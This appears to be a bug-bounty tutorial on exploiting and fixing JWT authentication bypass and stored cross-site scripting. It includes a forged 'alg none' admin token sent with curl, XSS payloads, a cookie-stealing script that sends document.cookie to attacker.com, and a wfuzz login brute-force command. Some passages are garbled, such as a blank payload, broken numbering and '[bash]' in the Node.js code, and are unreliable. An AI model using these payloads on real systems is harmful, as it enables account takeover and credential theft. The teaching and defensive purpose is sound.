How I Earned Bug Bounties by Exploiting CWE-287 and CWE-79: A Technical Deep Dive + Video

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Introduction

Improper authentication and stored cross-site scripting remain two of the most critical web application vulnerabilities listed in the CWE Top 25. When these flaws are chained or exploited independently, they can lead to complete account takeover, data theft, and widespread compromise. In this article, we dissect two recently accepted bug bounty reports—CWE-287 (Improper Authentication) and CWE-79 (Stored Cross-Site Scripting)—providing step‑by‑step guidance on how to identify, exploit, and remediate these issues using real‑world techniques, command‑line tools, and code examples.

Learning Objectives

  • Understand the root causes and impact of CWE-287 (Improper Authentication) and CWE-79 (Stored XSS).
  • Learn how to manually test for authentication bypasses and persistent XSS using common tools like Burp Suite, cURL, and custom scripts.
  • Explore mitigation strategies, including secure coding practices and configuration hardening for both Linux and Windows environments.

You Should Know

1. Understanding Improper Authentication (CWE-287)

Improper authentication occurs when a system fails to adequately verify the identity of a user or entity. This can manifest as weak password policies, flawed session management, or broken token validation (e.g., JWT). In bug bounty hunting, this often appears as endpoints that accept unauthenticated requests or allow privilege escalation by tampering with authentication data.

Step‑by‑Step: Testing for JWT Authentication Bypass

  1. Capture a request containing a JWT token (e.g., using Burp Suite).
  2. Decode the token at jwt.io to inspect its header and payload. Look for weak algorithms like `none` or missing signature verification.
  3. Modify the token – change the algorithm to `none` and remove the signature part. Send the tampered token using curl: 
    curl -X GET https://target.com/admin -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiYWRtaW4iLCJyb2xlIjoiYWRtaW4ifQ."

    If the server accepts the token without verifying the signature, you’ve found an authentication bypass.

  4. Test for privilege escalation – change the payload (e.g., "role":"admin") and see if the server trusts it without re‑authenticating.

  5. Stored Cross-Site Scripting (CWE-79) – Discovery and Exploitation
    Stored XSS occurs when user‑supplied input is saved by the server and later displayed to other users without proper sanitization. This can lead to session hijacking, defacement, or malware distribution.

Step‑by‑Step: Manual Stored XSS Testing

  1. Identify input points – comment sections, profile fields, support tickets.
  2. Inject a harmless test payload – e.g., `` or <img src=x onerror=alert(1)>.

3. Use a polyglot payload to bypass filters:

">

<

svg/onload=alert(document.domain)>

4. Verify persistence – reload the page or have another user view the content. If the alert fires, the XSS is stored.
5. Escalate impact – use a payload that steals cookies or performs actions on behalf of the victim: 

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

(Ensure you have permission to exfiltrate data in a controlled environment.)

3. Mitigation Strategies for Improper Authentication

Preventing authentication flaws requires a defense‑in‑depth approach.

  • Server‑side validation – never trust client‑side tokens alone. Verify signatures using strong algorithms (RS256, HS256) and enforce expiration times.
  • Implement rate limiting to prevent brute‑force attacks on login endpoints.
  • Use multi‑factor authentication (MFA) as an additional layer.

Code Example: Secure JWT Validation in Node.js

const jwt = require('jsonwebtoken');
const secret = process.env.JWT_SECRET;

function authenticateToken(req, res, next) {
const token = req.headers['authorization']?.split(' ')[bash];
if (!token) return res.sendStatus(401);

jwt.verify(token, secret, { algorithms: ['HS256'] }, (err, user) => {
if (err) return res.sendStatus(403);
req.user = user;
next();
});
}

4. Mitigation Strategies for Stored XSS

XSS prevention relies on proper output encoding and input validation.

  • Context‑aware escaping – encode data differently for HTML, JavaScript, or CSS contexts.
  • Use Content Security Policy (CSP) headers to restrict script sources.
  • Sanitize user input with libraries like DOMPurify (for front‑end) or Bleach (for Python).

Windows / IIS Configuration for XSS Protection

Add the following header in IIS Manager or via web.config: 

<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self'; script-src 'self'" />
</customHeaders>
</httpProtocol>
</system.webServer>

5. Real‑World Exploitation Scenarios

Chaining these vulnerabilities can amplify damage. For example:

  1. Authentication bypass to access an admin panel that allows posting announcements.
  2. Stored XSS injected into an announcement, which then compromises all users viewing it.
  3. Result – full account takeover and data breach.

    Linux Command to Monitor Logs for XSS Attempts 

    sudo tail -f /var/log/apache2/access.log | grep -i "<script"
    1. Tools and Commands for Bug Bounty Hunting

– Nuclei – template‑based scanner for CWE‑287 and CWE‑79. 

nuclei -u https://target.com -t cves/ -t exposures/

– Burp Suite – manually test authentication flows and XSS payloads using Repeater and Intruder.
– XSS Hunter – to capture blind XSS callbacks.
– wfuzz – fuzz authentication endpoints. 

wfuzz -z file,users.txt -z file,passwords.txt -d "username=FUZZ&password=FUZ2Z" https://target.com/login
  1. Code Review Checklist for Secure Authentication and XSS Prevention
    • [ ] All authentication‑sensitive endpoints require a valid token/session.
    • [ ] JWT secrets are stored securely (environment variables, not code).
    • [ ] User‑supplied input is never rendered without escaping.
    • [ ] CSP headers are set to `script-src ‘self’` as a baseline.
    • [ ] Session cookies are HttpOnly, Secure, and SameSite=Strict.

What Undercode Say

  • Key Takeaway 1: Authentication flaws like CWE-287 often stem from trusting client‑side data; always validate tokens and enforce strong verification on the server.
  • Key Takeaway 2: Stored XSS (CWE-79) remains prevalent because developers underestimate the need for context‑aware output encoding. A single missed escape can compromise every user.

Analysis: The two vulnerabilities highlighted in this article demonstrate that even seemingly simple bugs can have high impact when properly chained. Bug bounty programs continue to reward researchers who understand the underlying weaknesses and can craft reliable proof‑of‑concepts. As applications grow more complex, automated scanners alone cannot catch logic flaws in authentication or subtle XSS vectors—manual testing and a deep understanding of the OWASP Top 10 are essential. Developers must adopt a security‑by‑design mindset, integrating tools like static analysis and dynamic scanners into CI/CD pipelines, while penetration testers should always think beyond the obvious to uncover these critical flaws before attackers do.

Prediction

As AI‑assisted code generation becomes mainstream, we may see a temporary increase in authentication and XSS vulnerabilities due to poorly vended training data and lack of secure coding patterns in generated code. However, AI will also improve automated detection tools, enabling faster discovery of these bugs. The cat‑and‑mouse game will continue, but organizations that invest in both secure development training and proactive bug bounty programs will stay ahead of adversaries.

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